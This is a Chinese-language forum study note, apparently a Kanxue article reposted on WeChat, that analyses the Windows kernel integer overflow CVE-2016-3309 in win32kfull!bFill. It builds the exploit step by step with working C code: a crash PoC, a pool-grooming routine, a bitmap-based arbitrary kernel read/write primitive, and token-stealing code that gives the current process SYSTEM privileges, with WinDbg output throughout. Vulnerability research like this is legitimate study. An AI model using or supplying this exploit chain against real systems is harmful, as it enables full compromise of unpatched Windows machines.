CVE-2016-3309提权漏洞学习笔记

本文为看雪论坛精华文章
看雪论坛作者ID:1900
一
前言
1.漏洞描述
2.实验环境
操作系统:Win10 1511 x64 企业版
编译器:Visual Studio 2017
调试器:IDA Pro, WinDbg
二
漏洞分析
1.漏洞成因
typedef struct _EPATHOBJ{PATHOBJ po;PPATH pPath;CLIPOBJ *pco;} EPATHOBJ, *PEPATHOBJ;typedef struct _PATHOBJ {FLONG fl;ULONG cCurves;} PATHOBJ;
.text:00000001C02C8D24 ; __int64 __fastcall bFill(struct EPATHOBJ *ePathObj, __m128i *a2, int a3, void (__stdcall *a4)(struct _RECTL *, unsigned int, void *), void *a5). // 省略部分代码.text:00000001C02C8D56 mov rbx, rcx ;将第一个参数EPATHOBJ赋值给rbx// 省略部分代码.text:00000001C02C90DE mov eax, [rbx+4] ; 将cCurves赋值给eax.text:00000001C02C90E1 cmp eax, 14h ; 比较eax是否大于0x14,如果大于则跳转,这里需要跳转才能申请.text:00000001C02C90E4 ja short loc_1C02C90FA.text:00000001C02C90F3 and [rsp+658h+isAlloc], 0 ;如果不大于0x14,则不申请内存,该变量置0.text:00000001C02C90F8 jmp short loc_1C02C9126// 省略部分代码.text:00000001C02C90FA loc_1C02C90FA: ; 申请内存的代码.text:00000001C02C90FA lea ecx, [rax+rax*2] ; 将cCurves * 3的值赋给ecx.text:00000001C02C90FD shl ecx, 4 ; 将ecx左移4位,即乘以2^4 = 0x10,所以ecx = cCurves * 0x30.text:00000001C02C9100 xor r8d, r8d.text:00000001C02C9103 mov edx, 'gdeG'.text:00000001C02C9108 call PALLOCMEM2 ; 该函数会调用Win32AllocPool申请内存.text:00000001C02C910D mov r14, rax ; 将申请到的内存地址赋给r14.text:00000001C02C9110 mov [rsp+658h+var_608], rax.text:00000001C02C9115 test rax, rax ; 判断内存是否申请成功.text:00000001C02C9118 jz loc_1C02C93CA.text:00000001C02C911E mov [rsp+658h+isAlloc], 1 ;申请成功则将该变量置1// 省略部分代码.text:00000001C02C9182 mov r8, r14 ; 将前面保存在r14的申请到的内存地址赋给r8.text:00000001C02C9185 lea rdx, [rsp+658h+var_5A8].text:00000001C02C918D mov rcx, rbx.text:00000001C02C9190 call cs:__imp_bConstructGET ; 该函数会对申请到的内存地址进行写入操作// 省略部分代码.text:00000001C02C93B8 cmp [rsp+658h+isAlloc], 0 ; 通过变量isAlloc判断上面内存申请是否成功.text:00000001C02C93BD jz short loc_1C02C93C8.text:00000001C02C93BF mov rcx, r14.text:00000001C02C93C2 call cs:__imp_Win32FreePool ; 如果成功则释放内存// 省略部分代码.text:00000001C02C93EC ?bFill@@YAHAEAVEPATHOBJ@@PEAU_RECTL@@KP6AX1KPEAX@Z2@Z endp
2.POC代码分析
BOOL POC_CVE_2016_3309(){BOOL bRet = TRUE;static POINT points[0x3fe01];points[0].x = 1;points[0].y = 1;// Get Device context of desktop hwndHDC hdc = GetDC(NULL);// Get a compatible Device Context to assign Bitmap toHDC hMemDC = CreateCompatibleDC(hdc);// Create Bitmap ObjectHGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);// Select the Bitmap into the Compatible DCHGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);//Begin pathBeginPath(hMemDC);// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.for (int j = 0; j < 0x156; j++) {PolylineTo(hMemDC, points, 0x3FE01);}// End the pathEndPath(hMemDC);// Fill the pathFillPath(hMemDC);return bRet;}
1: kd> pwin32kfull!bFill+0x3d6:fffff961`218c90fa 8d0c40 lea ecx,[rax+rax*2] // ecx = eax * 31: kd> pwin32kfull!bFill+0x3d9:fffff961`218c90fd c1e104 shl ecx,4 // ecx = ecx * 2^4 = ecx * 0x10 = eax * 0x301: kd> r ecxecx=100000051: kd> pwin32kfull!bFill+0x3dc:fffff961`218c9100 4533c0 xor r8d,r8d1: kd> r rcx // 此时rcx已经溢出为0x50rcx=00000000000000501: kd> pwin32kfull!bFill+0x3df:fffff961`218c9103 ba47656467 mov edx,67646547h1: kd> pwin32kfull!bFill+0x3e4:fffff961`218c9108 e8ef3fd5ff call win32kfull!PALLOCMEM2 (fffff961`2161d0fc)1: kd> pwin32kfull!bFill+0x3e9:fffff961`218c910d 4c8bf0 mov r14,rax1: kd> r raxrax=fffff90141c96380 // 申请的内存的地址
1: kd> !analyze -v******************************************************************************** ** Bugcheck Analysis ** ********************************************************************************BAD_POOL_HEADER (19) // BSOD产生的原因The pool is already corrupt at the time of the current request.This may or may not be due to the caller.The internal pool links must be walked to figure out a possible cause ofthe problem, and then special pool applied to the suspect tags or the driververifier to a suspect driver.Arguments:Arg1: 0000000000000020, a pool block header size is corrupt.Arg2: fffff90141c96370, The pool entry we were looking for within the page. // 申请的内存块的_POOL_HEADERArg3: fffff90141c963d0, The next pool entry. // 申请的内存块的下一内存块_POOL_HEADERArg4: 0000000025060037, (reserved)SYMBOL_NAME: win32kfull!bFill+2dd
三
漏洞利用
1.内存布局
每一块申请的内存都会加上0x10字节大小的_POOL_HEADER;
申请的内存大小如果超过0x808字节就会在新的内存页中申请该内存;
连续的请求会从页的末尾开始分配,页尾的内存在释放的时候不会合并位于相邻内存页的下一内存块。

BOOL Init_CVE_2016_3309(){BOOL bRet = TRUE;CONST DWORD dwBitNum = 5000, dwAccelNum = 5000, dwJunkNum = 2000;DWORD i = 0;HBITMAP hBitMap[dwBitNum + 5] = { 0 };HACCEL hAccel[dwAccelNum + 5] = { 0 };for (i = 0; i < dwJunkNum; i++){// 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60ACCEL accel[0x6] = { 0 };hAccel[i] = CreateAcceleratorTableA(accel, 0x6);if (!hAccel[i]){ShowError("CreateAcceleratorTableA", GetLastError());bRet = FALSE;goto exit;}}for (i = 0; i < dwBitNum; i++){// 0xD30 * 1 * 8 / 8 = 0xD30// 0xD30 + 0x10 + 0x260 = 0xFA0hBitMap[i] = CreateBitmap(0xD30, 1, 1, 8, NULL);if (!hBitMap[i]){ShowError("CreateBitmap", GetLastError());bRet = FALSE;goto exit;}}for (i = 0; i < dwAccelNum; i++){// 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60ACCEL accel[0x6] = { 0 };hAccel[i] = CreateAcceleratorTableA(accel, 0x6);if (!hAccel[i]){ShowError("CreateAcceleratorTableA", GetLastError());bRet = FALSE;goto exit;}}for (i = 0; i < dwBitNum; i++){// 释放0xFA0的BitMap对象if (!DeleteObject(hBitMap[i])){ShowError("DeleteObject", GetLastError());bRet = FALSE;goto exit;}hBitMap[i] = NULL;}for (i = 0; i < dwBitNum; i++){// 0xB9C + 0x14 + 0x10 = 0xBC0,占用其中的0xBC0// 这样释放BitMap对象获取的0xFA0内存就剩余0xFA0 - 0xBC0 = 0x3E0if (!CreateClipboard(0xB9C)){bRet = FALSE;goto exit;}}for (i = 0; i < dwBitNum; i++){// 0x5C * 32 / 8 = 0x5C * 4 = 0x170// 0x170 + 0x10 + 0x260 = 0x3E0// 占用剩余的0x3E0内存hBitMap[i] = CreateBitmap(0x5C, 1, 1, 32, NULL);if (!hBitMap[i]){ShowError("CreateBitmap", GetLastError());bRet = FALSE;goto exit;}}for (i = 2000; i < 3000; i++){// 释放部分页尾的0x60字节的内存,其中的某块用来保存漏洞申请的0x60内存if (!DestroyAcceleratorTable(hAccel[i])){ShowError("DestroyAcceleratorTable", GetLastError());bRet = FALSE;goto exit;}hAccel[i] = NULL;}exit:return bRet;}
1: kd> gBreakpoint 0 hitwin32kfull!bFill+0x3e4:fffff960`298e9108 e8ef3fd5ff call win32kfull!PALLOCMEM2 (fffff960`2963d0fc)2: kd> pwin32kfull!bFill+0x3e9:fffff960`298e910d 4c8bf0 mov r14,rax2: kd> r raxrax=fffff90145284fb0
2.任意地址读写
typedef struct {ULONG64 hHmgr;ULONG32 ulShareCount;WORD cExclusiveLock;WORD BaseFlags;ULONG64 Tid;} BASEOBJECT64; // sizeof = 0x18
typedef struct tagSIZE {LONG cx;LONG cy;} SIZE,*PSIZE,*LPSIZE;typedef SIZE SIZEL;typedef struct {ULONG64 dhsurf; // 0x00ULONG64 hsurf; // 0x08ULONG64 dhpdev; // 0x10ULONG64 hdev; // 0x18SIZEL sizlBitmap; // 0x20ULONG64 cjBits; // 0x28ULONG64 pvBits; // 0x30ULONG64 pvScan0; // 0x38ULONG32 lDelta; // 0x40ULONG32 iUniq; // 0x44ULONG32 iBitmapFormat; // 0x48USHORT iType; // 0x4CUSHORT fjBitmap; // 0x4E} SURFOBJ64; // sizeof = 0x50
typedef struct tagRECT {LONG left;LONG top;LONG right;LONG bottom;} RECT,*PRECT,*NPRECT,*LPRECT;typedef LONG FIX;typedef struct _POINTFIX {FIX x;FIX y;} POINTFIX, *PPOINTFIX;
struct EDGE *__fastcall AddEdgeToGET(struct EDGE *a1, struct EDGE *a2, struct _POINTFIX *prePoint, struct _POINTFIX *curPoint, struct _RECTL *rect){cur_y = *((_DWORD *)curPoint + 1); // 取出当前点的ymin_y = *((_DWORD *)prePoint + 1); // 将上一个点的y赋给min_ypre_y = *((_DWORD *)prePoint + 1); // 取出上一个点的yplus_y = *((_DWORD *)curPoint + 1) - pre_y; // 将当前点的y与上一个点的y相减edge = a2; // 将申请的内存块赋给edgeif ( plus_y < 0 ) // 判断两个y值相减是否小于0{max_y = min_y; // 将min_y,即上一个点的y赋给max_y*((_DWORD *)edge + 0xA) = 0xFFFFFFFF; // 内存偏移0xA * 0x4 = 0x28处赋值为0xFFFFFFFFmin_y = cur_y; // 小于0,则将min_y赋值为cur_y,所以min_y等于当前点与上一个点中较小的那个}else{max_y = *((_DWORD *)curPoint + 1); // 将当前点的y赋给max_y,所以max_y等于当前点与上一个点中较大的那个*((_DWORD *)edge + 0xA) = 1; // 内存偏移0xA * 0x4 = 0x28处赋值为1}v15 = (min_y + 0xF) >> 4;v16 = ((max_y + 0xF) >> 4) - v15;if ( v16 <= 0 ) // 较大值与较小值如果相等,也就是两个点的y值相等,此时就会返回return edge;result = (struct EDGE *)((char *)edge + 0x30); // 取下一个EDGE结构,这里看出每次向后移动0x30个字节,EDGE结构体大小为0x30return result;}
BOOL Trigger_CVE_2016_3309(){CONST DWORD dwCount = 0x3FE01;BOOL bRet = TRUE;static POINT points[dwCount];HDC hdc = NULL, hMemDC = NULL;HBITMAP bitmap = NULL;HGDIOBJ bitobj = NULL;DWORD i = 0;// 将y值设置为相同for (i = 0; i < dwCount; i++){points[i].x = 0x5A1F;points[i].y = 0x5A1F;}// 将第3个点y值设为20points[2].y = 20;points[dwCount - 1].x = 0x4A1F;points[dwCount - 1].y = 0x6A1F;hdc = GetDC(NULL);if (!hdc){ShowError("GetDC", GetLastError());bRet = FALSE;goto exit;}hMemDC = CreateCompatibleDC(hdc);if (!hMemDC){ShowError("CreateCompatibleDC", GetLastError());bRet = FALSE;goto exit;}bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);if (!bitmap){ShowError("CreateBitmap", GetLastError());bRet = FALSE;goto exit;}bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);if (!bitobj){ShowError("SelectObject", GetLastError());bRet = FALSE;goto exit;}if (!BeginPath(hMemDC)){ShowError("BeginPath", GetLastError());bRet = FALSE;goto exit;}for (int j = 0; j < 0x156; j++){// 写入0x20次以后,停止写入if (j > 0x1F && points[2].y != 0x5A1F) points[2].y = 0x5A1F;if (!PolylineTo(hMemDC, points, dwCount)){ShowError("PolylineTo", GetLastError());bRet = FALSE;goto exit;}}if (!EndPath(hMemDC)){ShowError("EndPath", GetLastError());bRet = FALSE;goto exit;}FillPath(hMemDC);exit:return bRet;}
0: kd> gBreakpoint 0 hitwin32kfull!bFill+0x3e4:fffff961`9e6c9108 e8ef3fd5ff call win32kfull!PALLOCMEM2 (fffff961`9e41d0fc)0: kd> pwin32kfull!bFill+0x3e9:fffff961`9e6c910d 4c8bf0 mov r14,rax3: kd> r raxrax=fffff901458b0fb03: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0fffff901`458b1bc0 35306847`233e00bc 00000000`00000000fffff901`458b1bd0 00000000`02051192 00000000`00000000fffff901`458b1be0 00000000`00000000 00000000`00000000fffff901`458b1bf0 00000000`02051192 00000000`00000000fffff901`458b1c00 00000000`00000000 00000001`0000005c // ffff901`458B1C08处即是sizlBitmap成员fffff901`458b1c10 00000000`00000170 fffff901`458b1e28fffff901`458b1c20 fffff901`458b1e28 00002e5b`00000170fffff901`458b1c30 00010000`00000006 00000000`00000000
3: kd> gBreakpoint 1 hitwin32kfull!bFill+0x46c:fffff961`4a4c9190 ff156a7f0800 call qword ptr [win32kfull!_imp_bConstructGET (fffff961`4a551100)]3: kd> pwin32kfull!bFill+0x472:fffff961`4a4c9196 8bd8 mov ebx,eax3: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0fffff901`458b1bc0 ffffffff`00000014 005a0b00`00000000fffff901`458b1bd0 00000001`00000000 00000000`00000001fffff901`458b1be0 fffff901`458b0fb0 00000000`0000001ffffff901`458b1bf0 ffffffff`00000000 006a1f00`004a1f00fffff901`458b1c00 00000001`00000000 00000001`ffffffff // 此时sizlBitmap被扩大,且0xffff901`458b1c00中的hdev被修改了fffff901`458b1c10 00000000`00000170 fffff901`458b1e28 // pvScan0指向的地址没有被修改,是正常的fffff901`458b1c20 fffff901`458b1e28 00002e5b`00000170fffff901`458b1c30 00010000`00000006 00000000`00000000
pBuf_2016_3309 = (PULONG64)malloc(0x1000);if (!pBuf_2016_3309){bRet = FALSE;ShowError("malloc", GetLastError());goto exit;}ZeroMemory(pBuf_2016_3309, 0x1000);for (i = 0; i < dwBitNum; i++){if (GetBitmapBits(hBitMap[i], 0x1000, pBuf_2016_3309) > 0x170){g_hWorker_2016_3309 = hBitMap[i];g_hManager_2016_3309 = hBitMap[i + 1];break;}}if (!g_hWorker_2016_3309 || !g_hManager_2016_3309){printf("not find BitMap\n");bRet = FALSE;goto exit;}
rax=0000000100000000 rbx=ffffd000b6c019c8 rcx=ffffd000b6c019d0rdx=ffffd000b6c019d0 rsi=fffff9014511dbd0 rdi=0000000100000000rip=fffff9614a5a2553 rsp=ffffd000b6c018e8 rbp=ffffd000b6c01a20r8=fffff9614a4e7e58 r9=0000000000000000 r10=7ffff9014000b588r11=7ffffffffffffffc r12=ffffd000b6c01b18 r13=0000000003ff3d58r14=0000000000000000 r15=0000000000001000iopl=0 nv up ei pl nz na po nccs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206win32kbase!PDEVOBJ::bAllowShareAccess+0x3:fffff961`4a5a2553 8b5038 mov edx,dword ptr [rax+38h] ds:002b:00000001`00000038=????????STACK_TEXT:win32kbase!PDEVOBJ::bAllowShareAccess+0x3win32kbase!NEEDGRELOCK::vLock+0x21win32kfull!GreGetBitmapBits+0xf6win32kfull!NtGdiGetBitmapBits+0xab1: kd> dd 0000000100000000 + 0x3800000001`00000038 ???????? ???????? ???????? ????????00000001`00000048 ???????? ???????? ???????? ????????00000001`00000058 ???????? ???????? ???????? ????????00000001`00000068 ???????? ???????? ???????? ????????00000001`00000078 ???????? ???????? ???????? ????????00000001`00000088 ???????? ???????? ???????? ????????00000001`00000098 ???????? ???????? ???????? ????????00000001`000000a8 ???????? ???????? ???????? ????????
.text:00000001C0012550 ; __int64 __fastcall PDEVOBJ::bAllowShareAccess(PDEVOBJ *__hidden this).text:00000001C0012550 mov rax, [rcx].text:00000001C0012553 mov edx, [rax+38h].text:00000001C0012556 test dl, 1.text:00000001C0012559 jz short loc_1C00125C1// 省略部分代码.text:00000001C00125C1 loc_1C00125C1:.text:00000001C00125C1.text:00000001C00125C1 xor eax, eax.text:00000001C00125C3 retn.text:00000001C00125C3 ?bAllowShareAccess@PDEVOBJ@@QEAAHXZ endp
PBYTE pBuffer = (PBYTE)VirtualAlloc((PVOID)0x100000000,0x1000,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if (!pBuffer){ShowError("VirtualAlloc", GetLastError());bRet = FALSE;goto exit;}*(pBuffer + 0x38) = 1;
BOOL SetAddress_CVE_2016_3309(ULONG64 ulAddress){BOOL bRet = TRUE;pBuf_2016_3309[0xDF8 / 8] = ulAddress;if (SetBitmapBits(g_hWorker_2016_3309, 0x1000, pBuf_2016_3309) < 0x1000){ShowError("SetBitmapBits", GetLastError());bRet = FALSE;goto exit;}exit:return bRet;}BOOL BitMapRead_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize){BOOL bRet = TRUE;if (!SetAddress_CVE_2016_3309(ulAddress)){bRet = FALSE;goto exit;}if (GetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize){ShowError("GetBitmapBits", GetLastError());bRet = FALSE;goto exit;}exit:return bRet;}BOOL BitMapWrite_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize){BOOL bRet = TRUE;if (!SetAddress_CVE_2016_3309(ulAddress)){bRet = FALSE;goto exit;}if (SetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize){ShowError("GetBitmapBits", GetLastError());bRet = FALSE;goto exit;}exit:return bRet;}
四
提权
2: kd> dt _EPROCESSnt!_EPROCESS+0x2e8 UniqueProcessId : Ptr64 Void+0x2f0 ActiveProcessLinks : _LIST_ENTRY+0x358 Token : _EX_FAST_REF2: kd> dt _LIST_ENTRYFLTMGR!_LIST_ENTRY+0x000 Flink : Ptr64 _LIST_ENTRY+0x008 Blink : Ptr64 _LIST_ENTRY

BOOL WINAPI EnumDeviceDrivers(__out LPVOID* lpImageBase,__in DWORD cb,__out LPDWORD lpcbNeeded);
ULONG64 GetNTBase(){ULONG64 Base[0x1000];DWORD dwRet = 0;ULONG64 ulKrnlBase = 0;if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet)){ulKrnlBase = Base[0];}else{ShowError("EnumDeviceDrivers", GetLastError());}return ulKrnlBase;}ULONG64 GetSystemProcess(){HMODULE hModel = NULL;ULONG64 ulAddress = 0, ulOSBase = 0, ulRes = 0;ulOSBase = GetNTBase();if (ulOSBase == 0){goto exit;}hModel = LoadLibrary("ntoskrnl.exe");if (!hModel){ShowError("LoadLibrary", GetLastError());goto exit;}ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess");if (!ulAddress){ShowError("GetProcAddress", GetLastError());goto exit;}ulRes = ulAddress - (ULONG64)hModel + ulOSBase;exit:return ulRes;}
BOOL EnablePrivilege_CVE_2016_3309(){BOOL bRet = TRUE;CONST DWORD dwTokenOffset = 0x358, dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8;ULONG64 ulSystemToken = 0, ulEprocess = 0;ulEprocess = GetSystemEprocess_CVE_2016_3309();if (!ulEprocess){bRet = FALSE;goto exit;}if (!BitMapRead_CVE_2016_3309(ulEprocess + dwTokenOffset,(PBYTE)&ulSystemToken,sizeof(ULONG64))){bRet = FALSE;goto exit;}ULONG64 ulCurPID = GetCurrentProcessId(), ulPID = 0;do {if (!BitMapRead_CVE_2016_3309(ulEprocess + dwLinkOffset,(PBYTE)&ulEprocess, sizeof(ULONG64))){bRet = FALSE;goto exit;}ulEprocess = ulEprocess - dwLinkOffset;if (!BitMapRead_CVE_2016_3309(ulEprocess + dwPIDOffset,(PBYTE)&ulPID, sizeof(ULONG64))){bRet = FALSE;goto exit;}} while (ulPID != ulCurPID);if (!BitMapWrite_CVE_2016_3309(ulEprocess + dwTokenOffset, (PBYTE)&ulSystemToken, sizeof(ULONG64))){bRet = FALSE;goto exit;}exit:return bRet;}ULONG64 GetSystemEprocess_CVE_2016_3309(){ULONG64 ulSystemAddr = GetSystemProcess();if (!ulSystemAddr){goto exit;}ULONG64 ulSystemEprocess = 0;if (!BitMapRead_CVE_2016_3309(ulSystemAddr,(PBYTE)&ulSystemEprocess,sizeof(ULONG64))){goto exit;}exit:return ulSystemEprocess;}

参考资料
https://xz.aliyun.com/t/6842
https://xz.aliyun.com/t/2919
https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/

看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/


关注KnowSafe微信公众号


